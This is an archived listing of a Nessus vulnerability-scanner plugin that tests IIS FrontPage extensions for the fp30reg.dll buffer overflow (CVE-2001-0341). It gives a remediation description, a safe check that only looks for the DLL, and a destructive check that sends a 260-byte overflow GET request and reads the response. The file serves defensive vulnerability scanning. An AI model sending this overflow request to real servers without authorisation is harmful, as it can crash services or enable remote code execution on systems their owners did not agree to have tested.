home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / frontpage_overflow.nasl < prev    next >
Text File  |  2005-03-31  |  3KB  |  121 lines

  1. #
  2. # This script was written by John Lampe <j_lampe@bellsouth.net>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10699);
  10.  script_bugtraq_id(2906);
  11.  script_cve_id("CVE-2001-0341");
  12.  script_version ("$Revision: 1.28 $");
  13.  
  14.  name["english"] = "IIS FrontPage DoS II";
  15.  script_name(english:name["english"]);
  16.  
  17.  desc["english"] = "
  18. Microsoft IIS, running Frontpage extensions, is vulnerable to a remote 
  19. buffer overflow attack. An attacker, exploiting this bug, may gain 
  20. access to confidential data, critical business processes, and
  21. elevated privileges on the attached network.  
  22.  
  23. Solution : Install either SP4 for Windows 2000 or apply the fix described
  24. in Microsoft Bulletin MS03-051
  25.  
  26. See also : http://www.microsoft.com/technet/security/bulletin/MS03-051.mspx
  27.  
  28. Risk factor : High";
  29.  
  30.  script_description(english:desc["english"]);
  31.  
  32.  summary["english"] = "Attempts to overflow the fp30reg.dll dll";
  33.  script_summary(english:summary["english"]);
  34.  script_category(ACT_DESTRUCTIVE_ATTACK); # mixed
  35.  script_copyright(english:"This script is Copyright (C) 2001 John Lampe");
  36.  family["english"] = "Gain root remotely";
  37.  family["francais"] = "Passer root α distance";
  38.  script_family(english:family["english"],
  39.                francais:family["francais"]);
  40.  script_dependencie("find_service.nes", "http_version.nasl", "www_fingerprinting_hmap.nasl");
  41.  script_require_ports("Services/www", 80);
  42.  exit(0);
  43. }
  44.  
  45. #
  46. # The script code starts here
  47. #
  48. include("http_func.inc");
  49. include("http_keepalive.inc");
  50.  
  51. port = get_http_port(default:80);
  52.  
  53. sig = get_kb_item("www/hmap/" + port + "/description");
  54. if ( sig && "IIS" >!< sig ) 
  55.     exit(0);
  56.  
  57.  
  58.  
  59. if(safe_checks())
  60. {
  61.     if ( "Win2000 SP4" >< sig )
  62.             exit(0);
  63.      if(is_cgi_installed_ka(item:"/_vti_bin/_vti_aut/fp30reg.dll", port:port))
  64.      {
  65.           alrt = "
  66. The CGI /_vti_bin/_vti_aut/fp30reg.dll is installed.
  67. Some versions of this CGI are vulnerable to a buffer
  68. overflow that would allow a remote attacker to execute 
  69. arbitrary code on this host.
  70.  
  71. See http://www.nsfocus.com/english/homepage/sa01-03.htm for
  72. details.
  73.  
  74. *** Nessus reports this vulnerability using only
  75. *** information that was gathered. Use caution
  76. *** when testing without safe checks enabled.
  77.  
  78. Risk factor : High
  79.  
  80. Solution : Install Service Pack 4 for Windows 2000 or see Bulletin MS03-051 
  81.  
  82. See also : http://www.microsoft.com/technet/security/bulletin/MS03-051.mspx";
  83.  
  84.          security_hole(port:port, data:alrt);
  85.      }
  86.      exit(0);
  87. }
  88.  
  89.  
  90.  
  91.  
  92. #Make sure app is alive...
  93. mystring = string("HEAD / HTTP/1.0\r\n\r\n");
  94. if(get_port_state(port)) 
  95. {
  96.     mysoc = open_sock_tcp(port);
  97.     if (! mysoc)
  98.     exit(0);
  99.     send(socket:mysoc, data:mystring);
  100.     incoming = http_recv(socket:mysoc);
  101.     if(!incoming) 
  102.     exit(0);
  103.     close(mysoc);
  104. }
  105.  
  106.  
  107. mystring= string ("GET /_vti_bin/_vti_aut/fp30reg.dll?" , crap(260), " HTTP/1.0\r\n\r\n");
  108. if(get_port_state(port)) 
  109. {
  110.         mysoc = open_sock_tcp(port);
  111.     if (! mysoc)
  112.         exit(0);
  113.         send(socket:mysoc, data:mystring);
  114.         incoming=http_recv(socket:mysoc);
  115.         match = egrep(pattern:".*The remote procedure call failed*" , string:incoming);
  116.         if(match) 
  117.         security_hole(port);
  118.         close (mysoc);
  119. }
  120.  
  121.